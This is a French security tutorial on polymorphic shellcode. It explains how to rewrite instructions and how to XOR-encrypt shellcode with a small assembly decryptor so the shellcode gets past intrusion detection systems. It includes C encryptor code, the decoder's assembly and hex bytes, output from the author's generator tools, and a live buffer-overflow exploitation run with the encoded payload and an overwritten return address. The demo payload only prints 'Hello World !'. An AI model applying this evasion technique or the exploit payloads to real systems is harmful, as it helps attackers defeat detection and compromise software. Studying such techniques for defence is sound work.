Shellcodes polymorphiques

Rédacteur : Heurs

Date de création : 04/07/2006

Section : Sécurité > Shellcodes

Les shellcodes polymorphiques sont une sorte d'évolution des shellcodes, ils peuvent prendre un nombre illimité de formes tout en gardant les mêmes actions. Cela fait augmenter légèrement la taille de votre shellcode mais cette techniques permet de passer au travers de beaucoup de sécurités, notemment les IDS.

Sommaire

1. Les instructions dérivées

La première forme du polymorphisme est de réécrire une instruction en plusieurs différentes, par exemple :

mov $0, %eax

peut devenir :

xorl %eax, %eax

Ne rigolez pas pour le mov, certaines versions de gcc l'utilisent par défaut quand une fonction doit retourner 0... alors que le xor est bien plus rapide à exécuter pour un processeur !

Cette forme de polymorphisme à une infinité de possibilités, et est relativement efficace.

Mais souvent les IDS (des sortes de parfeu mais uniquement réseau) regardent si la chaine /bin/sh est présente. Là, une simple réécriture des instructions ne suffira pas.

2. Cryptage du shellcodes

C'est l'un des moyens les plus efficaces d'etre sur que votre shellcode sera illisible par un programme intermédiaire.

Le but va etre de crypter le shellcode et de créer un module de décryptage qui seras intégrer à notre shellcode (sinon celui-ci ne pourrait etre executé). Cela permetra donc a notre shellcode de prendre n'importe quel forme.

Pour le cryptage j'ai opté pour le **xor** (la base du cryptage), sa table de vérité est simple :

```
0|0|0
-+-+-
1|0|1
-+-+-
0|1|1
-+-+-
1|1|0
```

Nous voyons bien ici que si deux bits sont de valeurs différentes le résultat sera 1, et si ils ont la meme valeur ce sera 0. Cette table permet à partir d'une valeur et une clé de pouvoir en créer une nouvelle (valeur), mais aussi à partir de la nouvelle et de la clé retrouver l'ancienne. La preuve en image avec python :

```
>>> 45^16

61
>>> 61^16
45
>>>
```

Ici 16 est la clé, et nous pouvons constater que la clé permet de chiffrer/déchiffrer. (le ^ est l'opérateur de xor)

Codons maintennant un crypteur par xor en C :

```
char shell[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05
\x59\xb2\x0d\xcd\x80\xe8
\xf6\xff\xff\xffHello World !";

for (i=0;i<sizeof(shell);i++){
shell[i] = shell[i]^25; //XOR
printf("\\x%.2x", (shell[i]&0x000000ff));
```

}

Ici on reprend les octets a la suite en leur appliquant le xor, et on affiche le résultat de façon utilisable imméditement (\x90 par exemple). Bon je n'ai pas été trés inspiré désolé, nous utiliserons tout du long le fameux "Hello World !".

3. Module de décryptage

Nous avons donc vu comment l'algorithme de cryptage du shellcode, nous pouvons donc nous attarder sur le module de décryptage.

Il semble bien évident que ce module devra etre codé en assembleur. Je travaille sous knoppix 2.4.27 avec GCC 3.3.5 parce que sur ma bécane linux, GCC suporte mal l'assembleur inline, et comme j'ai la flème de recopier les shellcodes octets par octet (avec le risque d'erreurs que cela comporte). J'ai aussi codé un petit utilitaire ou j'entre mon code assembleur qui me recrache son code hexa (cf article Automatisation de la conception de shellcodes). Je concidère qu'il y a toujours un bit terminal, donc un .string est obligatoire à la fin de chaque code asm. Je vous présente donc le code assembleur du module puis vous le commente :

```
jmp code
suite:
pop %esi
xorl %eax, %eax
decr:
cmp %al, (%esi)
je execute
xorl $25, (%esi)
add $1, %esi
jmp decr
code:
call suite
execute:
.string ""
```

Etant initié aux shellcodes je ne vais vous expliquer que trés brièvement le fonctionnement de celui-ci. Le module va donc prendre l'adresse du shellcode crypté et va regarder si l'octet à décrypter est un 0. Si s'en est un (donc l'octet terminal) il sautera sur le shellcode, et donc l'executera. Pour le reste des valeurs possibles il appliqueras un xor sur l'octet avec la clé (ici 25). Nous lançons le prog pour afficher le shellcode :

```
root@1[poly]# ./gene_shellcode1
```

"\xeb\x0f\x5e\x31\xc0\x38\x06\x74\x0d\x83\x36\x19\x83\xc6\x01\xeb\xf4\xe8
\xec\xff\xff\xff"
Votre shellcode fait 22 octets.

Et voila notre module est codé !

Plus qu'a faire un petit prog en C pour automatiser les générations et le tour est joué !

root@1[poly]# ./poly-shell_all

Utilisation : ./poly-shell_all cle shellcode
La cle doit etre entre 1 et 254.
Exemple : ./poly-shell_all 24 "`perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2
\xb0\x04\xb3\x01
\xeb\x05\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20
\x57\x6f\x72\x6c\x64\x20
\x21"'`"
root@1[poly]# ./poly-shell_all 24 "`perl -e 'print "\x31\xc0\x31\xdb\x31\xc9
\x31\xd2\xb0\x04\xb3
\x01\xeb\x05\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xff\x48\x65\x6c\x6c\x6f
\x20\x57\x6f\x72\x6c\x64
\x20\x21"'`"

Shellcode généré :
"\xeb\x0f\x5e\x31\xc0\x38\x06\x74\x0d\x83\x36\x18\x83\xc6\x01\xeb\xf4\xe8
\xec\xff\xff\xff\x29
\xd8\x29\xc3\x29\xd1\x29\xca\xa8\x1c\xab\x19\xf3\x1d\x41\xaa\x15\xd5\x98
\xf0\xee\xe7\xe7\xe7\x50
\x7d\x74\x74\x77\x38\x4f\x77\x6a\x74\x7c\x38\x39"
Le shellcode fait 59 octets.

Testons maintennent ceci sur un buffer overflow (donc en situation réelle) :

heurs@GITS:/FaillesAppli$ .bof
Utilisation : ./A1 argument
heurs@GITS:/FaillesAppli$ ./bof test
heurs@GITS:/FaillesAppli$ ./bof `perl -e'print "\xeb\x0f\x5e\x31\xc0\x38
\x06\x74\x0d\x83\x36\x18
\x83\xc6\x01\xeb\xf4\xe8\xec\xff\xff\xff\x29\xd8\x29\xc3\x29\xd1\x29\xca
\xa8\x1c\xab\x19\xf3\x1d
\x41\xaa\x15\xd5\x98\xf0\xee\xe7\xe7\xe7\x50\x7d\x74\x74\x77\x38\x4f\x77
\x6a\x74\x7c\x38\x39" .
"a" x 17 . "\xa0\xfc\xff\xbf"'`
Hello World !

Je vous joint les deux programmes que j'ai codé :
gene_shellcode1.c
gene_shellcode1
poly-shell_all.c
poly-shell_all
Le tout disponible dans cette archive.

Je vous ai laissé les binaires comme ca si vous rencontrez les meme problèmes que moi au niveau de la compilation, vous pourrez quand meme utiliser ces outils).

Bien entendu, une partie du shellcode reste fixe ici (le décrypteur), mais il est possible, en faisant jouer votre imagination, de la rendre plus dynamique. Aprés avoir lu cet article vous devriez en etre capable tout du moins ;) .